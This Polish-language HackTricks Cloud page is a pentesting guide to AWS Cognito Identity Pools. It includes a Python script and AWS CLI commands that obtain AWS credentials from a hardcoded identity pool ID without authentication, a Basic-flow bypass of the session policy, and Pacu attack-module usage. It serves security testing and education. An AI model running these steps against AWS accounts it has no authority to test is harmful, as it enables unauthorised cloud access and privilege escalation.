Cognito Identity Pools
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Identity pools odgrywają kluczową rolę, umożliwiając użytkownikom uzyskanie tymczasowych poświadczeń. Poświadczenia te są niezbędne do uzyskania dostępu do różnych usług AWS, w tym między innymi Amazon S3 i DynamoDB. Cechą wyróżniającą identity pools jest ich wsparcie zarówno dla anonimowych użytkowników gości, jak i dla różnych dostawców tożsamości do uwierzytelniania użytkowników. Obsługiwani dostawcy tożsamości obejmują:
- Amazon Cognito user pools
- Opcje logowania społecznościowego, takie jak Facebook, Google, Login with Amazon i Sign in with Apple
- Dostawcy zgodni z OpenID Connect (OIDC)
- Dostawcy tożsamości SAML (Security Assertion Markup Language)
- Tożsamości uwierzytelniane przez dewelopera
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3
# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')
# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'
# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)
# Print the response from AWS
print(response)
Cognito Sync
Aby wygenerować sesje Identity Pool, najpierw musisz wygenerować Identity ID. Ten Identity ID to identyfikacja sesji tego użytkownika. Te identyfikacje mogą mieć do 20 zestawów danych, które mogą przechowywać do 1MB par klucz-wartość.
To jest przydatne do przechowywania informacji o użytkowniku (który zawsze będzie używał tego samego Identity ID).
Ponadto, usługa cognito-sync to usługa, która pozwala na zarządzanie i synchronizowanie tych informacji (w zestawach danych, wysyłanie informacji w strumieniach i wiadomościach SNS…).
Tools for pentesting
- Pacu, framework do eksploatacji AWS, teraz zawiera moduły “cognito__enum” i “cognito__attack”, które automatyzują enumerację wszystkich zasobów Cognito w koncie i oznaczają słabe konfiguracje, atrybuty użytkowników używane do kontroli dostępu itp., a także automatyzują tworzenie użytkowników (w tym wsparcie MFA) oraz eskalację uprawnień na podstawie modyfikowalnych atrybutów niestandardowych, używalnych poświadczeń puli tożsamości, ról, które można przyjąć w tokenach id itp.
Aby uzyskać opis funkcji modułów, zobacz część 2 postu na blogu. Aby uzyskać instrukcje instalacji, zobacz główną stronę Pacu.
Usage
Przykład użycia cognito__attack do próby tworzenia użytkownika i wszystkich wektorów privesc przeciwko danej puli tożsamości i kliencie puli użytkowników:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Przykład użycia cognito__enum do zbierania wszystkich pul użytkowników, klientów pul użytkowników, pul tożsamości, użytkowników itp. widocznych w bieżącym koncie AWS:
Pacu (new:test) > run cognito__enum
- Cognito Scanner to narzędzie CLI w Pythonie, które implementuje różne ataki na Cognito, w tym niechciane tworzenie kont i eskalację puli tożsamości.
Instalacja
$ pip install cognito-scanner
Użycie
$ cognito-scanner --help
Dla uzyskania dodatkowych informacji sprawdź https://github.com/padok-team/cognito-scanner
Uzyskiwanie dostępu do ról IAM
Nieautoryzowany
Jedyną rzeczą, którą atakujący musi wiedzieć, aby uzyskać dane uwierzytelniające AWS w aplikacji Cognito jako nieautoryzowany użytkownik, jest ID puli tożsamości, a to ID musi być zakodowane na stałe w aplikacji webowej/mobilnej, aby mogła z niego korzystać. ID wygląda tak: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (nie można go złamać metodą brute force).
Tip
Nieautoryzowana rola IAM Cognito utworzona przez jest domyślnie nazywana
Cognito_<Nazwa puli tożsamości>Unauth_Role
Jeśli znajdziesz ID puli tożsamości zakodowane na stałe i pozwala ono na dostęp dla nieautoryzowanych użytkowników, możesz uzyskać dane uwierzytelniające AWS za pomocą:
import requests
region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}
r = requests.post(url, json=params, headers=headers)
json_resp = r.json()
if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit
IdentityId = r.json()["IdentityId"]
params = {'IdentityId': IdentityId}
headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)
print(r.json())
Lub możesz użyć następujących aws cli commands:
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
Warning
Zauważ, że domyślnie nieautoryzowany użytkownik cognito NIE MOŻE mieć żadnych uprawnień, nawet jeśli zostały one przypisane za pomocą polityki. Sprawdź następującą sekcję.
Enhanced vs Basic Authentication flow
Poprzednia sekcja dotyczyła domyślnego ulepszonego przepływu uwierzytelniania. Ten przepływ ustawia ograniczającą politykę sesji dla wygenerowanej sesji roli IAM. Ta polityka pozwoli tylko na korzystanie z usług z tej listy (nawet jeśli rola miała dostęp do innych usług).
Jednak istnieje sposób, aby to obejść, jeśli pula tożsamości ma włączony “Podstawowy (Klasyczny) Przepływ”, użytkownik będzie mógł uzyskać sesję korzystając z tego przepływu, który nie będzie miał tej ograniczającej polityki sesji.
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign
# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
Warning
Jeśli otrzymasz ten błąd, to dlatego, że podstawowy przepływ nie jest włączony (domyślnie)
An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.
Mając zestaw poświadczeń IAM, powinieneś sprawdzić jakie masz uprawnienia i spróbować podnieść uprawnienia.
Uwierzytelniony
Note
Pamiętaj, że uwierzytelnieni użytkownicy mogą mieć inne uprawnienia, więc jeśli możesz zarejestrować się w aplikacji, spróbuj to zrobić i uzyskaj nowe poświadczenia.
Mogą być również dostępne role dla uwierzytelnionych użytkowników uzyskujących dostęp do puli tożsamości.
W tym celu możesz potrzebować dostępu do dostawcy tożsamości. Jeśli to jest Cognito User Pool, być może możesz wykorzystać domyślne zachowanie i samodzielnie utworzyć nowego użytkownika.
Tip
IAM Cognito uwierzytelniona rola utworzona przez jest domyślnie nazywana
Cognito_<Nazwa Puli Tożsamości>Auth_Role
W każdym razie, następny przykład zakłada, że już zalogowałeś się w Cognito User Pool używanym do uzyskania dostępu do Puli Tożsamości (nie zapomnij, że inne typy dostawców tożsamości mogą być również skonfigurowane).
# Zaktualizowany format
aws cognito-identity get-id \
--identity-pool-id \
--logins '{"cognito-idp..amazonaws.com/": ""}'
aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins '{"cognito-idp..amazonaws.com/": ""}'
aws cognito-identity get-credentials-for-identity \
--identity-id \
--custom-role-arn \
--logins '{"cognito-idp..amazonaws.com/": ""}'
Przestarzały format — te mogą już nie działać z aktualnym AWS CLI:
aws cognito-identity get-id \
--identity-pool-id \
--logins cognito-idp..amazonaws.com/=
aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins cognito-idp..amazonaws.com/=
aws cognito-identity get-credentials-for-identity \
--identity-id \
--custom-role-arn \
--logins cognito-idp..amazonaws.com/=
Warning
Możliwe jest konfigurowanie różnych ról IAM w zależności od dostawcy tożsamości, z którym użytkownik się loguje, lub nawet w zależności od użytkownika (używając roszczeń). Dlatego, jeśli masz dostęp do różnych użytkowników przez tego samego lub różnych dostawców, może być warto zalogować się i uzyskać dostęp do ról IAM wszystkich z nich.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud